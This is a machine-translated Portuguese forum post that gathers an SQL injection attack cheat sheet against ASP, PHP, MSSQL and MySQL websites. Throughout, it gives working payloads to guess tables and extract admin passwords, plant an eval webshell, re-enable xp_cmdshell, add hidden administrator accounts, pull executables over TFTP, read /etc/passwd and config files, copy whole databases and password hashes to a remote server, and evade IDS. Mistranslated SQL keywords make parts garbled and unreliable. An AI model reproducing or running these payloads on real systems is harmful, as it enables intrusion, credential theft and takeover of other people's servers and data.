Este artigo é um artigo espelhado de tradução automática, por favor clique aqui para ir para o artigo original.

Vista: 20889|Resposta: 2

[Comunicação Segura] SQL Injection Book - Vulnerabilidade ASP Injection Contato Completo

[Copiar link]
Publicado em 28/09/2015 18:21:41 | | |


Consultas MSSQL cross-database (comida fedimentosa!) Sombrio)

Extrair até a última gota do MS SQL

Referências de instruções SQL e objetos de recordet são explicados em detalhes

Sobre procedimentos armazenados no SQL Server

Crie um webshell com backup do mssql

SQL_Injection Aplicações avançadas

Injeção SQL entre sites (laokai)

Injeção Estranha de SQL (AMANL)

Injeção avançada de SQL em aplicações SQL Server

Como usar injeção SQL para percorrer diretórios

Guia guia das técnicas de injeção SQL (Tradutor: demonalex)

Alguns ataques a bancos de dados SQL

Técnica de Ataque por Injeção SQL (JSW)

SQL_Injection Aplicações Avançadas (APACHY)

Métodos Incomuns de Injeção SQL (Guilin Veteran)

Faça backup de um shell

Fale sobre a estrutura da instrução de injeção php+mysql (Heyhehehehe·≯Super· Hei)

Injeção Avançada de SQL com MySQL(anjo)

L'injection (My)SQL via PHP

Linguagem Oracle SQL

Enciclopédia de injeção manual de SQL

Os pré-requisitos exigem ferramentas: SQL Query Analyzer e SqlExec Sunx Version
==============================================================================================
1. Determinar se existe um ponto de injeção
; e 1=1 e 1=2
2. Acho que o nome da tabela não passa de adminadmin, administrador, usuário, usuário, senha, etc.:
e 0<>(select count(*) de *)
e 0<>(select count(*) from admin) — Determinar se a tabela de admin existe
3. Adivinhe o número de contas Se encontrar 0< volte para a página correta 1< retorne a página de erro indicando que o número de contas é 1
e 0<(select count(*) do admin)
e 1<(select count(*) do admin)
4. Adivinhe o nome do campo. Adicione o nome do campo que pensamos entre parênteses len( ).
e 1=(selecionar contagem(*) do admin onde len(*)>0)–
e 1=(select count(*) do admin onde len(nome do campo do usuário)>0)
e 1=(selecione contagem(*) do administrador onde len(_blank>nome do campo senha)>0)
5. Adivinhar o comprimento de cada campo Adivinhar o comprimento é transformar >0 até que a página correta seja retornada
e 1=(select count(*) do admin onde len(*)>0)
e 1=(select count(*) do admin onde erro len(name)>6)
e 1=(select count(*) do admin onde len(name)>5) O comprimento correto é 6
e 1=(select count(*) do admin onde len(name)=6) está correto
e 1=(select count(*) do admin onde len(password)>11) está correto
e 1=(select count(*) do admin onde o comprimento do erro len(password)>12) é 12
e 1=(select count(*) do admin onde len(password)=12) está correto
6. Adivinhe os personagens
e 1=(select count(*) do admin onde left(name,1)=a) — Adivinhe o primeiro dígito da conta do usuário
e 1=(select count(*) do admin onde left(name,2)=ab)—Adivinhe o segundo dígito da conta do usuário
Basta adicionar um caractere de cada vez para adivinhar, adivinhar quantos dígitos você acabou de adivinhar, e o número da conta vai aparecer
(1) Adivinhe o nome da mesa

Frases usadas:
e existe (selecione * do nome da tabela)

Por exemplo:
e existe (selecione * do administrador)

Se a página ecoar corretamente, significa que o nome da tabela que adivinhamos aqui está correto, e se a página estiver errada, então significa que o nome da tabela que escrevemos aqui está errado

, então mude o nome da tabela e continue tentando chutar até acertar.

Geralmente, nomes de tabelas mais usados incluem admin, gerenciar, usuário ou colocar na ferramenta de execução
(2) Adivinhar o campo

Frases usadas:
e existe (selecione o nome do campo a partir do nome da tabela)

Por exemplo:
e existe (selecione o nome de usuário do administrador)

Aqui, assumindo que a tabela de administração é a que acertei acima, então quero determinar se o campo de nome de usuário existe, preciso usar esta instrução, se a página

Se o eco da face estiver correto, significa que o nome do campo que chutamos aqui está correto, e se a página estiver errada, então significa que o nome do campo que escrevemos aqui está errado

, então mude o nome do campo e continue tentando até adivinhar.

Geralmente, nomes comuns de campos incluem nome de usuário, senha, usuário, passe, nome, pass, pwd, usr, psd e outros campos
(3) ordem por

A ordem por é obter a soma do número de campos naquela página, preparando-se para a próxima consulta conjunta
(4) União Seletiva

  1. Se você suporta consulta conjunta, encontre o bit de exibição http://www.xxx.com/product_show.asp?id=1 e a seleção de união 1=2

1,2,3,4,5,6,7,8,9,10,11
Suponha que os bits de exibição sejam 5,6. Em seguida, só precisamos substituir os nomes dos campos correspondentes ao nome de usuário e senha do administrador pela posição do bit de exibição aqui
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 do admin encontrei o login em segundo plano
  2. Se a consulta conjunta não for suportada
O nome de usuário e a senha do administrador não podem ser obtidos sem consulta conjunta - usando decodificação Ascii palavra por palavra
Dois
  Use a ordem por para julgar o número de bits na tabela e, se não funcionar, use o union select para organizá-los um por um; aqui assumimos 8 bits
Três
  Use uma consulta conjunta para determinar os bits de exibição
Quatro
  Use o bit de exibição para encontrar o nome do banco de dados, versão do banco de dados, 5.0 ou superior que pode ser injetada
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,usuário(),0x5c,
versão(),8
Cinco
  Com o nome do banco de dados, você pode começar a obter o nome da tabela schema = seguido pelo valor HEX do nome do banco de dados, e adivinhar o nome da tabela
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+de+information_schema.colunas+onde+
table_schema=0x666C6965725F6462617365
Seis
  O nome da tabela analisada determina o valor HEX do nome da tabela do administrador=nome da tabela, e adivinha os campos da tabela
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sete
  Depois de pegar os campos na tabela de administração, vamos pegar o conteúdo dos campos
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO

+nome de usuário,
0x5f,userpwd),8+de+pub_webmaster
Oito
  A ferramenta escaneia o histórico: faça login para enviar o Trojan após encontrá-lo, e se não conseguir encontrar o arquivo robots.txt, pode acessar
Nove
  Se você não conseguir encontrar o histórico, a senha do administrador do MYSQL será exposta
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(usuário, senha),8+de+mysql.user
Dez
  Acesse aleatoriamente um caminho, e o feedback é a página padrão 404 do IIS6, indicando que o servidor do site é: Windows+IIS6+php+ambiente MySql
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Esse caminho pode obter informações de configuração do site.
  Instruções de construto http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Onze
  Analise o código e encontre o endereço de fundo
  No primeiro passo, precisamos obter o comprimento dos campos na tabela
Afirmações usadas:
e (selecione a lente top 1 (nome do campo) do nome da tabela)>0
Como o quê:
e (selecione top 1 len(admin_name) no admin)>0
A página é exibida normalmente, o comprimento do campo admin_name é maior que 0, e eu enviarei:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
A página exibe um erro indicando que o campo está entre 0 e 10, e o comprimento é 5 usando a dicotomia
Usando o mesmo método para determinar o comprimento do campo da senha do administrador, obtenho um comprimento de 16
  Passo 2
Agora vamos para o segundo passo, pegar um certo caractere no campo e obter o código ASCII do caractere, que é usado

Declaração:
e (selecione top 1 asc(meio-campista(nome do campo, N,1)) do nome da tabela)>0
Deixe-me analisar essa frase separadamente, primeiro, a função mais interna, mid(nome de usuário, 1,1), que é o primeiro caractere do campo admin_name, N

indica que os primeiros caracteres devem ser interceptados,
Então a função externa asc(), que converte os caracteres interceptados pela função intermediária em código ASCII, o top 1 mais externo, representa o campo de retorno do primeiro lugar

Um recorde, então,
O ">0" no final serve para comparar o código ASCII convertido com esse número e, finalmente, obter a interceptação alterando constantemente o último valor

Descubra o perfil específico desse personagem
Código ASCII
Submissão:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
A página é exibida normalmente, indicando que o código ASCII desse caractere é maior que 30.
Submissão:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
A página é exibida normalmente, indicando que o código ASCII desse caractere é maior que 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
O código ASCII que acabei usando para esse personagem é 97
Compare a tabela ASCII:
Pode-se concluir que o primeiro caractere é "a".
Depois, vou julgar o código ASCII do segundo caractere.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
A página é exibida normalmente, indicando que o código ASCII do caractere é maior que 90, e o último valor é sempre alterado
O mesmo método gerou a senha do administrador, e o resultado que obtive foi:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
e 1=(selecione o top 1 count(*) do Admin onde Asc(mid(pass,5,1))=51) –
Essa instrução de consulta pode adivinhar o usuário chinês e _blank> senha. Basta substituir os números seguintes pelo código ASSIC chinês

Converter para personagens.

agrupar por users.id tendo 1=1–www.myhack58.com
Agrupe por users.id, users.username, users.password, users.privs tendo 1=1–
; inserir nos usuários valores( 666, atacante, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUNAS Onde

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUNAS Onde

TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUNAS Onde

TABLE_blank>_NAME=logintable Onde COLUMN_blank>_NAME NÃO EM

(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name DO logintable-
SUNIÃO Selecionar a senha TOP 1 DE logintable onde login_blank>_name=Rahul–
Olhe o patch jogado pelo servidor _blank> = patch SP4 errado black bar safety net
e 1=(selecionar @@VERSION)–

Olhe as permissões da conta de conexão do banco de dados _blank>, e ela retorna normalmente, provando que é a permissão de administrador do sistema do papel de servidor _blank>.
e 1=(Selecionar IS_blank>_SRVROLEMEMBER(sysadmin))–

Determine a conta do banco de dados _blank> conectada. (Use a conta SA para conectar e devolver o normal = provar que a conta conectada é SA)
e sa=(Selecionar System_blank>_user)–
e user_blank>_name()=dbo–
e 0<>(select user_blank>_name()–

Veja se xp_blank>_cmdshell exclui
e 1=(Selecionar contagem(*) FROM master.dbo.sysobjects Onde xtype = X E nome = xp_blank>_cmdshell)



xp_blank>_cmdshell é deletado, restaurado e suporta recuperação absoluta de caminho
; EXECUTIVO master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell.xplog70.dll–
; EXECUTIVO master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== permissão do banco de dados é exposta ao código de caminho físico do site

==========================================================================
1、Drop Table [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Criar tabela


2、 excluir [jm_tmp]; Insira [jm_tmp] executivo master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Insira o diretório do site no campo tabela


3, e (selecione o 1 melhor conjurado([data] como nvarchar(4000) char(124) a partir da [jm_tmp] ordem por [data]

desc)=0 '//Campo exposto


4. Tabela de Descarte [jm_tmp] -- Exclua esta tabela.
para o comando pegar a cápsula
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Outros caminhos da estação
======================load_file() Informações sensíveis comumente usadas ===========================================
1、 substituir(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
Os dois acima são para visualizar um arquivo PHP que exibe completamente o código. Há momentos em que alguns caracteres não são substituídos, como "<" em vez de "espaço" que retorna

Página da web. E o código não pode ser visualizado.

3. load_file(char(47)) pode listar o diretório raiz dos sistemas FreeBSD e Sunos

4. Visualize o arquivo de configuração virtual do host Linux APACHE em /etc/httpd/conf/httpd.conf ou /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf ou C:\apache\conf\httpd.conf para visualizar o WINDOWS

Arquivo System Apache

6. c:/Resin-3.0.14/conf/resin.conf Veja as informações de configuração do arquivo de resina do site desenvolvido pelo jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf para visualizar o host virtual JSP configurado no sistema Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /temas/darkblue_orange/layout.inc.php phpmyadmin explode path

11. C:\Windows\system32\inetsrv\MetaBase.xml Visualize o arquivo de configuração virtual do IIS

12. /usr/local/resin-3.0.22/conf/resin.conf para visualizar o arquivo de configuração RESIN para 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Igual ao acima

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Host virtual APASHE

15. /etc/sysconfig/iptables depende da política do firewall

16. /usr/local/app/php5 com configurações equivalentes a PHP php.ini

17. /etc/my.cnf arquivo de configuração MYSQL

18. Versão do Red Hat para sistema de lançamento /etc/redhat

19 、C:\mysql\data\mysql\user. MYD existe na senha do usuário no sistema MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 para visualizar IP.

21. /usr/local/app/php5 b/php.ini //configurações relacionadas ao PHP

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // configurações do site virtual

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\janelas\my.ini

25. /etc/issue exibe as informações de distribuição do kernel Linux

26、/etc/ftpuser

27. Verifique o arquivo de log de operações em user.bash_history LINUX ou .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/troncos/error.log
.. /apache/troncos/access.log
.. /.. /apache/troncos/error.log
.. /.. /apache/troncos/access.log
.. /.. /.. /apache/troncos/error.log
.. /.. /.. /apache/troncos/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/troncos/error.log     
.. /apache/troncos/access.log
.. /.. /apache/troncos/error.log
.. /.. /apache/troncos/access.log
.. /.. /.. /apache/troncos/error.log
.. /.. /.. /apache/troncos/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Experimente PING reverso você mesmo
; usar mestre; declarar @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Executivo

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Adicionar uma conta
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add–

Crie um diretório virtual E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Atributos de acesso: (com escrita em um webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Truque especial de _blank> para bursting na biblioteca: :%5c=\ ou modificar %5 com / e \ para comprometer
e 0<>(selecione os caminhos top 1 do newtable)–

Pega o nome do banco de dados (de 1 a 5 são os IDs do sistema, e você pode avaliá-los acima de 6)
e 1=(selecione o nome de master.dbo.sysdatabases onde dbid=7)–
e 0<>(select count(*) a partir de master.dbo.sysdatabases onde name>1 e dbid=6)
Submeter dbid por turno = 7,8,9.... Obtenha mais nomes _blank> bancos de dados

e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=U) aparece em uma tabela assumindo admin
e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=você e nome não está em (Admin)).

Outras mesas.
e 0<>(select count(*) de bbs.dbo.sysobjects onde xtype=você e name=admin
e uid>(str(id))) O valor numérico do UID é assumido como 18779569 uid=id
e 0<>(selecione o nome top 1 de bbs.dbo.syscolumns onde id=18779569) recebe um campo de admin, false

Ajustado para user_blank>_id
e 0<>(selecione o nome top 1 de bbs.dbo.syscolumns onde id=18779569 e nome que não está em
(id,...)) expor outros campos
e 0<(selecione user_blank>_id em BBS.dbo.admin onde nome de usuário>1) para obter o nome de usuário
Por sua vez, você pode obter _blank> senha。。。。。 Suponha que existam campos como user_blank>_id nome de usuário, senha, etc

e 0<>(select count(*) a partir de master.dbo.sysdatabases onde name>1 e dbid=6)
e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=U) para obter o nome da tabela
e 0<>(selecione o nome top 1 de bbs.dbo.sysobjects onde xtype=você e name not in(Endereço))
e 0<>(select count(*) de bbs.dbo.sysobjects onde xtype=você e name=admin e uid>(str(id)))

Determinar o valor do id
e 0<>(selecione o nome principal do 1 em BBS.dbo.syscolumns onde id=773577794) todos os campos

?id=-1 união selecionar 1,2,3,4,5,6,7,8,9,10,11,12,13,* de admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 do admin (o sindicato, o acesso também é fácil de usar)

Obtenha o caminho WEB
; Criar tabela [DBO]. [troca] ([swappass][char](255)); –
e (selecione o top 1 swappass do swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Mestre... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

SAÍDA inserir em paths(paths) values(@test)–
; use ku1; –
; criar CMD de tabela (imagem STR); – Criar um cmd de tabela do tipo de imagem
1. A forma de remover o processo de extensão xp_cmdshell é usar a seguinte afirmação:

If exists (selecione * de dbo.sysobjects onde id=object_id(N'[dbo].[ xpcmdshell]') e

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
executivo sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. A forma de adicionar xp_cmdshell processo de extensão é usar a seguinte instrução:

(1) Analisador de Consultas SQL

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Primeiro, preencha percentuais na opção Formatar do SqlExec Sunx Version e insira na opção CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

remover

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Existem xp_blank>_cmdshell processos de teste:
; Mestre Executivo... xp_blank>_cmdshell dir
; executivo master.dbo.sp_blank>_addlogin jiaoniang$; – Adicionar contas SQL
; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; executivo master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; Executivo master.dbo.xp_blank>_cmdshell usuário da internet jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; Exec master.dbo.xp_blank>_cmdshell NET Localgroup Administrators jiaoniang$ /add; –
Mestre Executivo... xp_blank>_servicecontrol início, agende para iniciar _blank> serviço
Mestre Executivo... xp_blank>_servicecontrol começo, servidor
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c NET localgroup administrators jiaoniang$ /add
; Mestre Executivo... xp_blank>_cmdshell tftp - i youip get file.exe – Enviar arquivos usando TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; declarar @a; conjunto @a=db_blank>_name(); Backup do banco de dados @a para o disco=seu IP Seu diretório compartilhado bak.dat
Se for restrito, sim.
selecione * de openrowset(_blank>sqloledb,server; SA; ,selecione OK! Executivo

master.dbo.sp_blank>_addlogin hax)

Estrutura da Consulta:
Selecione * DE notícias Onde id=... E tópico=... E .....
adminand 1=(select count(*) from [user] where username=victim e right(left(userpass,01),1)=1)

e UserPass <>
selecione 123; –
; usar mestre; –
:a ou nome como fff%; – Mostra um usuário chamado ffff.
e 1<>(select count(email) de [usuário]); –
; Atualização [usuários] definir e-mail=(selecionar nome top 1 dos sysobjects onde xtype=você e status>0) onde

nome=ffff; –
; Atualização [usuários] definir e-mail=(selecionar top 1 id dos sysobjects onde xtype=você e nome=ad) onde

nome=ffff; –
; Atualizar [usuários] definir e-mail=(selecionar nome top 1 dos sysobjects onde xtype=você e id>581577110)

onde nome=ffff; –
; atualizar [usuários] definir e-mail=(selecionar contagem principal (id) da senha) onde nome=ffff; –
; atualizar [usuários] definir e-mail=(selecionar top 1 pwd da senha onde id=2) onde nome=ffff; –
; atualização [usuários] definir e-mail=(selecionar nome principal 1 da senha onde id=2) onde nome=ffff; –
A afirmação acima é para obter a primeira tabela de usuário no banco de dados _blank> e colocar o nome da tabela no campo de e-mail do usuário ffff.
Ao visualizar o perfil de usuário do ffff, você pode obter a primeira tabela chamada AD
Depois, obtenha o ID dessa tabela de acordo com o anúncio do nome da tabela para obter o nome da segunda tabela

inserir em usuários valores( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
inserir nos valores dos usuários (667,123,123,0xffff)–
insira nos usuários valores (123, admin–, senha, 0xffff)–
; e usuário>0
; e (select count(*) a partir dos sysobjects)>0
; e (select count(*) dos mysysobjects)>0 // para o banco de dados access_blank>

Enumere o nome da tabela de dados
; atualizar aaa set aaa=(selecionar o nome top 1 dos sysobjects onde xtype=você e status>0); –
É aqui que o primeiro nome da tabela é atualizado para o campo AAA.
Leia a primeira tabela, e a segunda tabela pode ser lida assim (adicione e nomeie após a condição<> o nome da tabela que você acabou de receber).
; atualizar aaa set aaa=(selecionar o nome top 1 dos sysobjects onde xtype=você e status>0 e

nome<>voto); –
Então id=1552 e existe (selecione * de aaa onde aaa>5)
Leia a segunda tabela e leia uma por uma até não haver mais nenhuma.
O campo de leitura é assim:
; atualizar aaa set aaa=(selecionar top 1 col_blank>_name(object_blank>_id(nome da tabela),1)); –
Então id=152 e exists (select * from aaa onde aaa>5) recebe um erro e obtém o nome do campo
; atualizar aaa set aaa=(selecionar top 1 col_blank>_name(object_blank>_id(nome da tabela),2)); –
Então id=152 e exists (select * from aaa onde aaa>5) recebe um erro e obtém o nome do campo

[Obter nome da tabela de dados] [Atualize o valor do campo para o nome da tabela e depois leia o valor desse campo para obter o nome da tabela]
Atualizar tabela nome set=(selecione o nome top 1 dos sysobjects onde xtype=você e status>0 [e nome<>

O nome da tabela que você recebe Encontre um mais um]) [onde condição] selecione o nome top 1 a partir de sysobjects onde xtype=você e

status>0 e nome não em(table1,table2,...)
Criar uma conta de administrador de banco de dados e uma conta de administrador de sistema _blank> _blank> injeção de vulnerabilidades via SQLSERVER [A conta atual deve ser o grupo SYSADMIN]

[Obter Nome do Campo Datatable] [Atualize o valor do campo para o nome do campo e depois leia o valor desse campo para obter o nome do campo]
Atualizar Nome da Tabela Conjunto Campo=(Selecione Top 1 col_blank>_name(object_blank>_id (nome da tabela de dados para consulta), coluna do campo

Por exemplo: 1) [onde condição]

Contornando a Detecção de IDS [Usando variáveis]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Abra o banco de dados remoto de _blank>
Sintaxe básica
select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, selecione * da tabela1 )
Parâmetros: (1) Nome do provedor OLEDB
2. O parâmetro da string de conexão pode ser qualquer porta para conectar, como
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,

selecione * da tabela
3. Copiar todo o banco de dados _blank> do host de destino e inserir todas as tabelas remotas na tabela local.

Sintaxe básica:
inserir em OPENROWSET(SQLOLEDB, servidor=nome do servidor; uid=sa; pwd=123, selecione * da tabela1) selecione

* da Tabela2
Essa instrução linha copia todos os dados da tabela 2 no host de destino para a tabela 1 no banco de dados remoto de _blank>. Reparos apropriados em aplicação prática

Mude o endereço IP e a porta da string de conexão para apontar para onde você precisa, como:
inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select

* da tabela1) selecionar * da tabela2
inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select

* de _blank>_sysdatabases)
selecione * em master.dbo.sysdatabases
inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select

* de _blank>_sysobjects)
select * de user_blank>_database.dbo.sysobjects
inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select

* de _blank>_syscolumns)
selecione * de user_blank>_database.dbo.syscolumns
Replicar _blank> banco de dados:
inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select

* da Tabela1) selecionar * do banco de dados.. Tabela 1
inserir em OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,select

* da Tabela 2) selecionar * do banco de dados.. Tabela2

O hash da senha que copia a senha de login _blank> da tabela de hash (HASH) é armazenado nos sysxlogins. Veja como:
inserir em OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Endereço=192.168.0.1,1433; ,selecionar * de _blank>_sysxlogins)

selecione * de database.dbo.sysxlogins
Depois que você pega o hash, pode forçar o hash.

Para percorrer o diretório: Primeiro, crie uma tabela temporária: temp
; crie a temperatura da tabela (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; insira o executivo temporário master.dbo.xp_blank>_availablemedia; – Obter todos os drives atuais
; Inserir no Temp(ID) Exec master.dbo.xp_blank>_subdirs C:\; – Obter uma lista de subdiretórios
; Insira no Exec Temp(ID,Num1) master.dbo.xp_blank>_dirtree C:\; – Obter a estrutura de árvore de diretórios para todos os subdiretórios,

Unam as polegadas na tabela de temperatura
; Insira no Temp(id) Exec master.dbo.xp_blank>_cmdshell Tipo C:\Web\index.asp; – Visualizar um arquivo

Conteúdo
